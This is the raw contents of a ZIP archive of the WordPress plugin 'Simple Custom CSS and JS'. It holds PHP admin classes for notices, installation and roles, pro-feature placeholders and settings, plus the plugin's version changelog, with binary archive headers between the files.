 * Custom CSS and JS
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

/**
 * CustomCSSandJS_Warnings 
 */
class CustomCSSandJS_Warnings {

    private $allowed_actions = array(
    );

    /**
     * Constructor
     */
    public function __construct() {

        if ( ! function_exists( 'is_plugin_active' ) ) {
            require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
        } 

        add_action( 'wp_ajax_ccj_dismiss', array( $this, 'notice_dismiss' ) );
    }

    /**
     * Allow the dismiss button to remove the notice
     */
    function dismiss_js( $slug ) {
    ?>
        <script type='text/javascript'>
        jQuery(function($){
            $(document).on( 'click', '#<?php echo $slug; ?> .notice-dismiss', function() {
            var data = {
                action: 'ccj_dismiss',
                option: '<?php echo $slug; ?>',
                nonce: $(this).parent().data('nonce'),
            };
            $.post(ajaxurl, data, function(response ) {
                $('#<?php echo $slug; ?>').fadeOut('slow');
            });
            });
        });
        </script>
    <?php
    }


    /**
     * Ajax response for `notice_dismiss` action
     */
    function notice_dismiss() {

        $option = $_POST['option'];

        if ( ! in_array($option, $this->allowed_actions ) ) {
            return;
        }

        check_ajax_referer( $option, 'nonce' );

        update_option( $option, 1 );

        wp_die();
    }

}


return new CustomCSSandJS_Warnings();
PK     ]t]´Ü·çŽ  Ž    includes/admin-install.phpnu ÕIw¶´        <?php
/**
 * Custom CSS and JS
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

/**
 * CustomCSSandJS_Install 
 */
class CustomCSSandJS_Install {

    public static function install() {
        self::create_roles();
        self::register_post_type();
        flush_rewrite_rules();
    }  


    /**
     * Create the custom-css-js post type
     */
    public static function register_post_type() {
        $labels = array(
            'name'                   => _x( 'Custom Code', 'post type general name', 'custom-css-js'),
            'singular_name'          => _x( 'Custom Code', 'post type singular name', 'custom-css-js'),
            'menu_name'              => _x( 'Custom CSS & JS', 'admin menu', 'custom-css-js'),
            'name_admin_bar'         => _x( 'Custom Code', 'add new on admin bar', 'custom-css-js'),
            'add_new'                => _x( 'Add Custom Code', 'add new', 'custom-css-js'),
            'add_new_item'           => __( 'Add Custom Code', 'custom-css-js'),
            'new_item'               => __( 'New Custom Code', 'custom-css-js'),
            'edit_item'              => __( 'Edit Custom Code', 'custom-css-js'),
            'view_item'              => __( 'View Custom Code', 'custom-css-js'),
            'all_items'              => __( 'All Custom Code', 'custom-css-js'),
            'search_items'           => __( 'Search Custom Code', 'custom-css-js'),
            'parent_item_colon'      => __( 'Parent Custom Code:', 'custom-css-js'),
            'not_found'              => __( 'No Custom Code found.', 'custom-css-js'),
            'not_found_in_trash'     => __( 'No Custom Code found in Trash.', 'custom-css-js')
        );

        $capability_type = 'custom_css';
        $capabilities = array(
            'edit_post'              => "edit_{$capability_type}",
            'read_post'              => "read_{$capability_type}",
            'delete_post'            => "delete_{$capability_type}",
            'edit_posts'             => "edit_{$capability_type}s",
            'edit_others_posts'      => "edit_others_{$capability_type}s",
            'publish_posts'          => "publish_{$capability_type}s",
            'read'                   => "read",
            'delete_posts'           => "delete_{$capability_type}s",
            'delete_published_posts' => "delete_published_{$capability_type}s",
            'delete_others_posts'    => "delete_others_{$capability_type}s",
            'edit_published_posts'   => "edit_published_{$capability_type}s",
            'create_posts'           => "edit_{$capability_type}s",
        );

        $args = array(
            'labels'                 => $labels,
            'description'            => __( 'Custom CSS and JS code', 'custom-css-js' ),
            'public'                 => false,
            'publicly_queryable'     => false,
            'show_ui'                => true,
            'show_in_menu'           => true,
            'menu_position'          => 100,
            'menu_icon'              => 'dashicons-plus-alt',
            'query_var'              => false,
            'rewrite'                => array( 'slug' => 'custom-css-js' ),
            'capability_type'        => $capability_type,
            'capabilities'           => $capabilities, 
            'has_archive'            => true,
            'hierarchical'           => false,
            'exclude_from_search'    => true,
            'menu_position'          => null,
            'can_export'             => false,
            'supports'               => array( 'title' )
        );

        register_post_type( 'custom-css-js', $args );
    }

 
    /**
     * Create roles and capabilities.
     */
    public static function create_roles() {
        global $wp_roles;


        if ( !current_user_can('update_plugins') )
            return;

        if ( ! class_exists( 'WP_Roles' ) ) {
            return;
        }

        if ( ! isset( $wp_roles ) ) {
            $wp_roles = new WP_Roles();
        }

        if ( isset($wp_roles->roles['css_js_designer'])) 
            return;

        // Add Web Designer role
        add_role( 'css_js_designer', __( 'Web Designer', 'custom-css-js'), array() );

        $capabilities = array();

        $capability_types = array( 'custom_css' );

        foreach ( $capability_types as $capability_type ) {

            $capabilities[ $capability_type ] = array(
                // Post type
                "edit_{$capability_type}",
                "read_{$capability_type}",
                "delete_{$capability_type}",
                "edit_{$capability_type}s",
                "edit_others_{$capability_type}s",
                "publish_{$capability_type}s",
                "delete_{$capability_type}s",
                "delete_published_{$capability_type}s",
                "delete_others_{$capability_type}s",
                "edit_published_{$capability_type}s",
            );
        }

        foreach ( $capabilities as $cap_group ) {
            foreach ( $cap_group as $cap ) {
                $wp_roles->add_cap( 'css_js_designer', $cap );
                $wp_roles->add_cap( 'administrator', $cap );
            }
        }
    }




}

?>
PK     ]t]÷§tp  p    includes/admin-addons.phpnu ÕIw¶´        <?php
/**
 * Custom CSS and JS
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

/**
 * CustomCSSandJS_Addons 
 */
class CustomCSSandJS_Addons {

    /**
     * Constructor
     */
    public function __construct() {

        // Add actions
        $actions = array(
            'add_meta_boxes' => 'add_meta_boxes',
            'edit_form_advanced' => 'only_premium',
        );
        foreach( $actions as $_key => $_value ) {
            add_action( $_key, array( $this, $_value ) );
        }

    }

    function only_premium() {
        $current_screen = get_current_screen();

        if ( $current_screen->post_type != 'custom-css-js' ) {
            return false;
        }

?>
    <div class="ccj_only_premium ccj_only_premium-first">
        <div> 
        <a href="https://www.silkypress.com/simple-custom-css-js-pro/?utm_source=wordpress&utm_campaign=ccj_free&utm_medium=banner" target="_blank"><?php _e('Available only in <br />Simple Custom CSS and JS Pro', 'custom-css-js'); ?></a>
        </div>
    </div>
    <?php
    }


    /**
     * Add the URL Preview meta box
     */
    function add_meta_boxes() {
        
        add_meta_box( 'previewdiv', __('Preview', 'custom-css-js'), array( $this, 'previews_meta_box_callback' ), 'custom-css-js', 'normal' );
        add_meta_box( 'url-rules', __('Apply only on these URLs', 'custom-css-js'), array( $this, 'url_rules_meta_box_callback' ), 'custom-css-js', 'normal' );
        add_meta_box( 'revisionsdiv', __('Code Revisions', 'custom-css-js'), array( $this, 'revisions_meta_box_callback' ), 'custom-css-js', 'normal' );
    }


    /**
     * The Preview meta box content
     */
    function previews_meta_box_callback( $post ) {
?>
<div id="preview-action">
    <div>
    <input type="text" name="preview_url" id="ccj-preview_url" placeholder="<?php _e('Full URL on which to preview the changes ...', 'custom-css-js'); ?>" disabled="disabled" />
    <a class="preview button button-primary button-large" id="ccj-preview"><?php _e('Preview Changes', 'custom-css-js'); ?></a>
    </div>
</div>
<?php
        
    }


    /**
     * Show the URL Rules metabox
     */
    function url_rules_meta_box_callback( $post ) {

        $filters = array(
            'all'           => __('All Website', 'custom-css-js'),
            'first-page'    => __('Homepage', 'custom-css-js'),
            'contains'      => __('Contains', 'custom-css-js'),
            'not-contains'  => __('Not contains', 'custom-css-js'),
            'equal-to'      => __('Is equal to', 'custom-css-js'),
            'not-equal-to'  => __('Not equal to', 'custom-css-js'),
            'begins-with'   => __('Starts with', 'custom-css-js'),
            'ends-by'       => __('Ends by', 'custom-css-js'),
        );
        $filters_html = '';
        foreach( $filters as $_key => $_value ) {
            $filters_html .= '<option value="'.$_key.'">' . $_value . '</option>';
        }

        $applied_filters = '[{"value":"","type":"all","index":1}]';

?>
        <input type="hidden" name="scan_anchor_filters" id="wplnst-scan-anchor-filters" value='<?php echo $applied_filters; ?>' />
    <table id="wplnst-elist-anchor-filters" class="wplnst-elist" cellspacing="0" cellpadding="0" border="0" data-editable="true" data-label="<?php _e('URL', 'custom-css-js'); ?>"></table>
        <?php _e('URL', 'custom-css-js'); ?> <select id="wplnst-af-new-type"><?php echo $filters_html ?></select>&nbsp;
        <input id="wplnst-af-new" type="text" class="regular-text" value="" placeholder="<?php _e('Text filter', 'custom-css-js'); ?>" />&nbsp;
        <input class="button button-primary" type="button" id="wplnst-af-new-add" value="<?php _e('Add', 'custom-css-js'); ?>" /></td>

<?php
    }



    /**
     * Output the revisions 
     */
    function revisions_meta_box_callback( $post ) {
        $datef = _x( 'F j, Y @ H:i:s', 'revision date format' );
        $users = get_users(array('number' => 3));
        $revisions = array(
            array(
                'ID' => 1,
                'post_author' => $users[0]->display_name,
                'title' => date_i18n( $datef, mktime( 8, 3, 0, 3, 20, 1996 ) ),
            ),
            array(
                'ID' => 2,
                'post_author' => isset($users[1]) ? $users[1]->display_name : $users[0]->display_name,
                'title' => date_i18n( $datef, mktime( 8, 20, 0, 6, 20, 1997 ) ),
            ),
            array(
                'ID' => 3,
                'post_author' => isset($users[2]) ? $users[2]->display_name : $users[0]->display_name,
                'title' => date_i18n( $datef, mktime( 5, 37, 0, 9, 22, 1998 ) ),
            ),
        );
?>
    <table class="revisions">
        <thead><tr>
        <th class="revisions-compare"><?php _e('Compare', 'custom-css-js'); ?></th>
        <th><?php _e('Revision', 'custom-css-js'); ?></th>
        <th><?php _e('Author', 'custom-css-js'); ?></th>
        <th><input type="checkbox" name="delete[]" value="all" id="ccj-delete-checkbox" /> <?php _e('Delete', 'custom-css-js'); ?></th>
        <th><?php _e('Restore', 'custom-css-js'); ?></th>
        </tr></thead>
        <tbody>
        <?php foreach( $revisions as $revision ) : ?>
        <?php

        $restore_url = '#';

        $delete_disabled = '';
        $delete_tooltip = '';
        $class = '';
        ?>
        <tr class="<?php echo $class; ?>" id="<?php echo 'revision-row-' . $revision['ID']; ?>">
            <td class="revisions-compare">
            <input type="radio" name="compare_left" value="<?php echo $revision['ID']; ?>" />
            <input type="radio" name="compare_right" value="<?php echo $revision['ID']; ?>" />
            </td>
            <td><?php echo $revision['title']; ?></td>
            <td><?php echo $revision['post_author']; ?></td>
            <td class="revisions-delete">
            <input type="checkbox" name="delete[]" value="<?php echo $revision['ID']; ?>" <?php echo $delete_disabled . $delete_tooltip; ?>/>
            </td>
            <td class="revisions-restore">
                <a href="<?php echo $restore_url; ?>"><?php _e('Restore', 'custom-css-js'); ?></a>
            </td>
        </tr>
        <?php endforeach; ?>
        <tr>
            <td>
                <input type="button" class="button-secondary" value="<?php esc_attr_e('Compare', 'custom-css-js'); ?>" id="revisions-compare-button" />
            </td>
			<td colspan="2" style="text-align: center;"> <p>&uarr; This is only an example, not real data. &uarr; </p>
			<p>Note: currently the revisions are not being saved. They start getting saved at the moment the plugin's pro version is installed.</td>
            <td>
                <input type="button" class="button-secondary" value="<?php esc_attr_e('Delete', 'custom-css-js'); ?>" id="revisions-delete-button" />
            </td>
            <td> &nbsp; </td>
        </tr> 
        </tbody>
    </table>
<?php 
    }
        


}

return new CustomCSSandJS_Addons();
PK     ]t]D{9Ø)  )    includes/admin-config.phpnu ÕIw¶´        <?php
/**
 * Custom CSS and JS
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

/**
 * CustomCSSandJS_AdminConfig 
 */
class CustomCSSandJS_AdminConfig {

    var $settings_default;

    var $settings;

    /**
     * Constructor
     */
    public function __construct() {
        // Get the "default settings"
        $settings_default = apply_filters( 'ccj_settings_default', array() );

        // Get the saved settings
        $settings = get_option('ccj_settings', array());
        if ( ! is_array( $settings ) || count( $settings ) === 0 ) {
            $settings = $settings_default;
        } else {
            foreach( $settings_default as $_key => $_value ) {
                if ( ! isset($settings[$_key] ) ) {
                    $settings[$_key] = $_value;
                }
            }
        }
        $this->settings = $settings;
        $this->settings_default = $settings_default;

        //Add actions and filters
        add_action( 'admin_menu', array( $this, 'admin_menu' ) );
        add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );


        add_action( 'ccj_settings_form', array( $this, 'general_extra_form' ), 11 );
        add_filter( 'ccj_settings_default', array( $this, 'general_extra_default' ) );
        add_filter( 'ccj_settings_save', array( $this, 'general_extra_save' ) );
        add_action( 'before_woocommerce_init', array( $this, 'before_woocommerce_init' ) );
    }


    /**
     * Add submenu pages
     */
    function admin_menu() {
        $menu_slug = 'edit.php?post_type=custom-css-js';

        add_submenu_page( $menu_slug, __('Settings', 'custom-css-js'), __('Settings', 'custom-css-js'), 'manage_options', 'custom-css-js-config', array( $this, 'config_page' ) );

    }


    /**
     * Enqueue the scripts and styles
     */
    public function admin_enqueue_scripts( $hook ) {

        $screen = get_current_screen();

        // Only for custom-css-js post type
        if ( $screen->post_type != 'custom-css-js' ) 
            return false;

        if ( $hook != 'custom-css-js_page_custom-css-js-config' ) 
            return false;

        // Some handy variables
        $a = plugins_url( '/', CCJ_PLUGIN_FILE). 'assets';
        $v = CCJ_VERSION; 

        wp_enqueue_script( 'tipsy', $a . '/jquery.tipsy.js', array('jquery'), $v, false );
        wp_enqueue_style( 'tipsy', $a . '/tipsy.css', array(), $v );
    }



    /**
     * Template for the config page
     */
    function config_page() {

        if ( isset( $_POST['ccj_settings-nonce'] ) ) {
            check_admin_referer('ccj_settings', 'ccj_settings-nonce');

            $data = apply_filters( 'ccj_settings_save', array() );

            $settings = get_option('ccj_settings', array());
            if ( !isset($settings['add_role'] ) ) $settings['add_role'] = false;
            if ( !isset($settings['remove_comments'] ) ) $settings['remove_comments'] = false;

            // If the "add role" option changed
            if ( $data['add_role'] !== $settings['add_role'] && current_user_can('update_plugins')) {
                // Add the 'css_js_designer' role
                if ( $data['add_role'] ) {
                    CustomCSSandJS_Install::create_roles();
                }

                // Remove the 'css_js_designer' role
                if ( !$data['add_role'] ) {
                    remove_role('css_js_designer');
                }
                flush_rewrite_rules();
            }

            update_option( 'ccj_settings', $data );

        } else {
            $data = $this->settings;
        }

        ?>
        <div class="wrap">

        <?php $this->config_page_header('editor'); ?>

        <form action="<?php echo admin_url('edit.php'); ?>?post_type=custom-css-js&page=custom-css-js-config" id="ccj_settings" method="post">

        <?php do_action( 'ccj_settings_form' ); ?>
        
        </form>
        </div>
        <?php
    }


    /**
     * Template for config page header 
     */
    function config_page_header( $tab = 'editor' ) {
  
        $url = '?post_type=custom-css-js&page=custom-css-js-config';

        $active = array('editor' => '', 'general' => '', 'debug' => '');
        $active[$tab] = 'nav-tab-active';

        ?>
        <style type="text/css">
            .custom-css-js_page_custom-css-js-config h1 { margin-bottom: 40px; }
            .form-table { margin-left: 2%; width: 98%;}
            .form-table th { width: 500px; } 
        </style>
        <h1><?php _e('Custom CSS & JS Settings'); ?></h1>

        <?php     
    }



    /**
     * Add the defaults for the `General Settings` form 
     */
    function general_extra_default( $defaults = array() ) {
        return array_merge( $defaults, array( 
            'ccj_htmlentities'      => false, 
            'ccj_htmlentities2'     => false,
			'ccj_autocomplete'		=> true,
            'add_role'              => false,
            'remove_comments'       => false,
        ) );
    }


    /**
     * Add the `General Settings` form values to the $_POST for the Settings page
     */
    function general_extra_save( $data = array() ) {
        $values = $this->general_extra_default();

        foreach($values as $_key => $_value ) {
            $values[$_key] = isset($_POST[$_key]) ? true : false;
        }

        return array_merge( $data, $values );
    }


    /**
     * Extra fields for the `General Settings` Form 
     */
    function general_extra_form() {

        // Get the setting
        $settings = get_option('ccj_settings', array());
        $defaults = $this->general_extra_default();

        foreach( $defaults as $_key => $_value ) {
            if ( !isset($settings[$_key] ) ) {
                $settings[$_key] = $_value;
            }
        }

        if ( !get_role('css_js_designer') && $settings['add_role'] ) {
            $settings['add_role'] = false;
            update_option( 'ccj_settings', $settings );
        }

        if ( get_role('css_js_designer') && !$settings['add_role']) {
            $settings['add_role'] = true;
            update_option( 'ccj_settings', $settings );
        }

        $ccj_htmlentities_help = __('If you want to use an HTML entity in your code (for example '. htmlentities('&gt; or &quot;').'), but the editor keeps on changing them to its equivalent character (&gt; and &quot; for the previous example), then you might want to enable this option.', 'custom-css-js');

        $ccj_htmlentities2_help = __('If you use HTML tags in your code (for example '.htmlentities('<input> or <textarea>').') and you notice that they disappear and the editor looks weird, then you need to enable this option.', 'custom-css-js');

        $remove_comments_help = __('In your page\'s HTML there is a comment added before and after the internal CSS or JS in order to help you locate your custom code. Enable this option in order to remove that comment.', 'custom-css-js');

        ?>

        <h2><?php echo __('Editor Settings', 'custom-css-js'); ?></h2>
        <table class="form-table">
        <tr>
        <th scope="row"><label for="ccj_htmlentities"><?php _e('Keep the HTML entities, don\'t convert to its character', 'custom-css-js') ?> <span class="dashicons dashicons-editor-help tipsy-no-html" rel="tipsy" title="<?php echo $ccj_htmlentities_help; ?>"></span>
        </label></th>
        <td><input type="checkbox" name="ccj_htmlentities" id="ccj_htmlentities" value="1" <?php checked($settings['ccj_htmlentities'], true); ?> />
        </td>
        </tr>
        <tr>
        <th scope="row"><label for="ccj_htmlentities2"><?php _e('Encode the HTML entities', 'custom-css-js') ?> <span class="dashicons dashicons-editor-help tipsy-no-html" rel="tipsy" title="<?php echo $ccj_htmlentities2_help; ?>"></span></label></th>
        <td><input type="checkbox" name="ccj_htmlentities2" id="ccj_htmlentities2" value="1" <?php checked($settings['ccj_htmlentities2'], true); ?> />
        </td>
        </tr>
        <tr>
        <th scope="row"><label for="ccj_autocomplete"><?php _e('Autocomplete in the editor', 'custom-css-js') ?></label></th>
        <td><input type="checkbox" name="ccj_autocomplete" id="ccj_autocomplete" value="1" <?php checked($settings['ccj_autocomplete'], true); ?> />
        </td>
        </tr>



        </table>


        
        <?php if ( current_user_can('update_plugins') ) : ?> 
            <?php $add_role_help = esc_html__('By default only the Administrator will be able to publish/edit/delete Custom Codes. By enabling this option there is also a "Web Designer" role created which can be assigned to a non-admin user in order to publish/edit/delete Custom Codes.', 'custom-css-js'); ?>
            <h2><?php echo __('General Settings', 'custom-css-js'); ?></h2>
            <table class="form-table">
            <tr>
            <th scope="row"><label for="add_role"><?php _e('Add the "Web Designer" role', 'custom-css-js') ?> <span class="dashicons dashicons-editor-help" rel="tipsy" title="<?php echo $add_role_help; ?>"></span></label></th>
            <td><input type="checkbox" name="add_role" id = "add_role" value="1" <?php checked($settings['add_role'], true); ?> />
            </td>
            </tr>
            </table>
        <?php endif; ?>
        <table class="form-table">
        <tr>
        <th scope="row"><label for="remove_comments"><?php _e('Remove the comments from HTML', 'custom-css-js') ?> <span class="dashicons dashicons-editor-help" rel="tipsy" title="<?php echo $remove_comments_help; ?>"></span></label></th>
        <td><input type="checkbox" name="remove_comments" id = "remove_comments" value="1" <?php checked($settings['remove_comments'], true); ?> />
        </td>
        </tr>
        </table>

        <table class="form-table">
        <tr>
        <th>&nbsp;</th>
        <td>
        <input type="submit" name="Submit" class="button-primary" value="<?php _e('Save'); ?>" />
        <?php wp_nonce_field('ccj_settings', 'ccj_settings-nonce', false); ?>
        </td>
        </tr>
        </table>

        <?php
    }

	/**
	 * Declare compatibility with the WooCommerce COT (custom order tables) feature.
	 */
	function before_woocommerce_init() {
		if ( class_exists( '\Automattic\WooCommerce\Utilities\FeaturesUtil' ) ) {
			\Automattic\WooCommerce\Utilities\FeaturesUtil::declare_compatibility( 'custom_order_tables', CCJ_PLUGIN_FILE, true );
		}
	}
}

return new CustomCSSandJS_AdminConfig();
PK     ]t]Ã=pZ�.  �.    changelog.txtnu ÕIw¶´        == Changelog ==

= 3.49 =
* 11/13/2024
* Fix: add nuance for the "in Block editor" option for websites with WP before v6.6 and after

= 3.48 =
* 09/24/2024
* Feature: add JS/CSS custom codes to the Block editor

= 3.47 =
* 05/27/2024
* Fix: use the GMT time for showing when a custom code was published or modified

= 3.46 =
* 01/31/2024
* Tweak: update the Bootstrap and jQuery library links 
* Tweak: remove the qTranslate-x warning. The qTranslate-x plugin was removed from wp.org since Aug 2021

= 3.45 =
* 10/17/2023
* Fix: enqueue the jQuery library only if there is a frontend JS custom code that requires it 

= 3.44 =
* 06/07/2023
* Compatibility with the WooCommerce "custom order tables" feature

= 3.43 =
* 03/13/2023
* Fix: PHP8.1 deprecation notices
* Fix: after adding a JS/HTML custom code with empty content will show the CSS default message in the editor

= 3.42 =
* 01/17/2023
* Fix: the "LH Archived Post Status" plugin was removing the "Publish" button on the add/edit custom code page
* Feature: multiple values for the "Where in site" option

= 3.41 =
* 10/05/2022
* Feature: code folding in the editor

= 3.40 =
* 06/10/2022
* Feature: keep the user-set editor's height upon page loads and custom code saves 
* Feature: save the custom code upon "Ctrl-S" in the editor
* Tweak: admin side adjustments for RTL languages 

= 3.39 =
* 03/16/2022
* Fix: load the CodeMirror options from a localized variable 
* Tweak: add the "ccj_code_editor_settings" filter for modifying the editor's options

= 3.38.1 =
* 12/02/2021
* Fix: revert the code related to the compatibility with the `HTML Editor Syntax Highlighter` plugin

= 3.38 =
* 11/09/2021
* Fix: escape labels on the "Add new custom code" page
* Feature: keep the last cursor position in the editor and let the editor get focus when the page loads 

= 3.37 =
* 07/12/2021
* Fix: allow the TablePress plugin to load its JS files on the "Add custom code" page in admin
* Feature: highlight active line in the editor 
* Feature: add "Ctrl + J" shortcut to the editor for jumping to the matching tag

= 3.36 =
* 02/23/2021
* Fix: fatal error with PHP8.0

= 3.35 =
* 01/19/2021
* Tweak: change dummy revision dates to fictional dates before 2000
* Fix: replace the deprecated postL10n JS object with wp.i18n
* Fix: add "tipsy-no-html" to the tooltips on the settings page

= 3.34 =
* 11/01/2020
* Feature: enqueue the jQuery library if one of the JS custom codes requires it
* Fix: set cookie SameSite attribute to lax

= 3.33 =
* 08/20/2020
* Fix: the user language preferrence was ignored in favor of the site defined language
* Fix: allow the jQuery library added by plugins like Enable jQuery Migrate Helper or Test jQuery Updates
* Fix: permalink was not editable with WordPress 5.5
* Feature: fullscreen editor
* Feature: button for beautifying the code

= 3.32  =
* 07/08/2020
* Fix: add "Cmd + " editor shortcuts for MacOS computers
* Fix: use file_get_contents instead of include_once to load the custom codes
* Fix: compatibility issue with the Product Slider for WooCommerce by ShapedPlugin
* Feature: "Ctrl + /" in the editor will comment out the code
* Feature: order custom codes table by "type" and "active" state
* Feature: autocomplete in the editor

= 3.31 =
* 03/21/2020
* Declare compatibility WooCommerce 4.1
* Feature: add "After <body> tag" option for HTML codes, if the theme allows it 
* Feature: don't show type attribute for script and style tags if the theme adds html5 support for it
* Code refactory
* Fix: the permalink was mistakingly showing a ".css" file extension when being edited

= 3.30 =
* 03/12/2020
* Feature: color the matching brackets in the editor
* Declare compatibility WooCommerce 4.0 
* Declare compatibility WordPress 5.4 

= 3.29 =
* 01/31/2020
* Fix: date Published and Modified date wasn't shown in Japanese
* Feature: indentation in the editor
* Feature: close brackets in the editor

= 3.28 =
* 11/05/2019
* Tweak: update the Bootstrap and jQuery library links 
* Declare compatibility with WordPress 5.3

= 3.27 =
* 08/08/2019 
* Compatibility with the "CMSMasters Content Composer" plugin
* Feature: keep the cursor position after saving
* Option: remove the comments from the HTML

= 3.26 =
* 05/08/2019
* Fix: remove the Codemirror library added from WP Core
* Tweak: use protocol relative urls for custom code linked file
* Declare compatibility with WordPress 5.2

= 3.25 =
* 04/21/2019
* Tweak: update the Bootstrap and jQuery library links 
* Declare compatibility with WooCommerce 3.6

= 3.24 =
* 04/05/2019
* Fix: remove the editor scrollbar
* Tweak: rename "First Page" to "Homepage" to avoid misunderstandings 

= 3.23 =
* 03/15/2019
* Fix: avoid conflicts with other plugins that use CodeMirror as their editor

= 3.22 =
* 12/06/2018
* Fix: another solution for the bug related to the Edit Custom Code page was blank for WordPress 5.0 and the Classic Editor enabled

= 3.21 =
* 12/06/2018
* Fix: the Edit Custom Code page was blank for WordPress 5.0 and the Classic Editor enabled

= 3.20 =
* 11/15/2018
* Fix: remove compatibility with the Shortcoder plugin. Bug https://wordpress.org/support/topic/edit-page-blank-8/ 
* Declare compatibility WooCommerce 3.5

= 3.19 =
* 10/16/2018
* Fix: keep the editor LTR even on RTL websites
* Fix: flush rewrite rules after modifying the "Add Web Designer role" option

= 3.18 =
* 07/13/2018
* Fix: the default comment for JS for other locales than "en_" was removing the <scripts> tags
* Tweak: make the search dialog persistent
* Tweak: correct the tooltip info for the 'ccs_js_designer' option

= 3.17 =
* 04/25/2018
* Fix: add the add/edit/delete custom post capabilities to the admin and 'css_js_designer' roles on plugin activation

= 3.16 =
* 04/22/2018
* Fix: "The link you followed has expired" on custom code save if the WP Quads Pro plugin is active
* Fix: PHP warning for PHP 7.2
* Change: add/remove the "Web Designer" role only on activating/deactivating the option in the Settings page

= 3.15 =
* 03/27/2018
* Change: check the option name against an array of allowed values

= 3.14 =
* 02/04/2018
* Feature: permalink slug for custom codes
* Fix: set the footer scripts to a higher priority
* Update the french translation
* Fix: allow admin stylesheets from ACF plugin, otherwise it breaks the post.php page
* Tweak: for post.php and post-new.php page show code's title in the page title

= 3.13 =
* 01/12/2018
* Feature: add the "Keep the HTML entities, don't convert to its character" option

= 3.12 =
* 01/03/2018
* Reverse to the `wp_footer` function for the footer scripts, as the `print_footer_scripts` function is used also in the admin, which lead to many broken back-ends

= 3.11 =
* 01/03/2018
* Use the `print_footer_scripts` function for the footer scripts (https://wordpress.org/support/topic/footer-code-position-before-external-scripts-is-overridden/)
* Escape selectively the HTML characters in the editor (https://wordpress.org/support/topic/annoying-bug-in-text-editor/)

= 3.10 =
* 12/15/2017
* Fix: https://wordpress.org/support/topic/broken-layout-of-code-snippet-type-color-tag-css-html-js-on-main-list-table/
* Feature: add filter by code type
* Feature: make the 'Modified' column sortable
* Fix: if the default comment remains in the "Add Custom JS", then there was no <script> tags added to the code, as the comment contained a <script> tag

= 3.9 =
* 12/01/2017
* Feature: add "Last edited ..." information under the editor
* Fix: jump to line when searching
* Tweak: add message that the Code Revision data is dummy

= 3.8 =
* 10/19/2017
* Declare compatibility with WooCommerce 3.2 (https://woocommerce.wordpress.com/2017/08/28/new-version-check-in-woocommerce-3-2/)
* Fix: avoid conflicts with other plugins that implement the CodeMirror editor
* Update the CodeMirror library to 5.28 version

= 3.7 =
* 10/06/2017
* Add French and Polish translation

= 3.6 =
* 09/07/2017
* Fix: compatibility with the CSS Plus plugin

= 3.5 =
* 08/25/2017
* Code refactoring
* Add activate/deactivate link to row actions and in Publish box
* Make the activate/deactivate links work with AJAX
* Add Turkish translation

= 3.4 =
* 07/11/2017
* Security fix according to VN: JVN#31459091 / TN: JPCERT#91837758 

= 3.3 =
* 06/23/2017
* Feature: option for adding Codes to the Login Page 

= 3.2 =
* 06/13/2017
* Fix: compatibility issue with the HTML Editor Syntax Highlighter plugin

= 3.1 =
* 05/14/2017
* Feature: prepare the plugin for translation

= 3.0 =
* 04/12/2017
* Feature: create the Web Designer role
* Feature: allow Custom Codes to be managed only by users with the right capabilities

= 2.10 =
* 02/05/2017
* Feature: circumvent external file caching by adding a GET parameter
* Add special offer for Simple Custom CSS and JS pro

= 2.9 =
* 12/05/2016
* Compatibility with WP4.7. The "custom HTML code" was not showing up anymore

= 2.8 =
* 10/09/2016
* Feature: add search within the editor accessible with Ctrl+F
* Feature: make the inactive rows opaque

= 2.7 =
* 09/04/2016
* Fix: there was a space in the htmlmixed.%20js url
* Feature: make the editor resizable

= 2.6 =
* 08/31/2016
* Feature: add HTML code
* Fix: add htmlentities when showing them in the editor
* Feature: when adding a code, show more explanations as comments

= 2.5 =
* 08/25/2016
* Fix: compatibility with other plugins that interfere with the CodeMirror editor

= 2.4 =
* 08/01/2016
* Add the "Add CSS Code" and "Add JS Code" buttons next to the page title
* Compatibility with WP 4.6: the "Modified" column in the Codes listing was empty

= 2.3 =
* 06/22/2016
* Add the includes/admin-notices.php and includes/admin-addons.php
* Feature: change the editor's scrollbar so it can be caught with the mouse

= 2.2 =
* 06/22/2016
* Check compatibility WordPress 4.5.3
* Add special offer for Simple Custom CSS and JS pro

= 2.1 =
* 04/24/2016
* Fix: on multisite installs have to create the custom-css-js folder in the upload dir for each site
* Fix: the `deactivate code` star wasn't working when first time clicked
* Fix: In the add/edit Code page filter which meta boxes are allowed
* Fix: If the custom-css-js folder is not created of is not writable, issue an admin notice.

= 2.0 =
* 04/11/2016
* Feature: enable/disable codes
* Feature: add a GET parameter at the end of external files in order to over circumvent caching
* Fix: don't add the "<script>" tag from the code if already present. 

= 1.6 =
* 03/26/2016
* Fix: the number of codes were limited because query_posts is automatically inserting a limit 

= 1.5 =
* 03/10/2016
* Fix: solved a conflict with the `shortcoder` plugin.

= 1.4 =
* 01/04/2016
* Tweak: Do not enqueue scripts unless we are editing the a custom-css-js type post.
* Fix: The register_activation_hook was throwing a notice
* Fix: add window.onload when initializing the CodeMirror editor
* Tweak: Differentiated the option names for "Where on page" and "Where in site"
* Fix: set the correct language modes to CodeMirror object
* Tweak: remove the `slug` metabox
* Tweak: use the compressed version of CodeMirror

= 1.3 =
* 12/27/2015
* Tweak: changed the submenus to "Add Custom CSS" and "Add Custom JS" instead of "New Custom Code"
* Tweak: Use `admin_head` instead of `admin_enqueue_scripts` for external files in order to add priority to the code
* Fix: The javascript code was not shown
* Fix: For longer code the last line in the editor was hidding because of the CodeMirrorBefore div.

= 1.2 =
* 12/14/2015
* Fix: when a code was sent into Trash it still wasn't shown on the website

= 1.1 =
* 10/12/2015
* Tweak: for external files use wp_head and wp_footer instead of wp_enqueue_style. Otherwise the CSS and JS is inserted before all the other scripts and are overwritten.
* Tweak: Save all the codes in files in order to save on database queries
* Tweak: Rewrite the readme.txt in the form of FAQ for better explanations

= 1.0 =
* 06/12/2015
* Initial commit
PK     ]t]ßÂåŽ      $  assets/images/button-close-hover.pngnu ÕIw¶´        ‰PNG

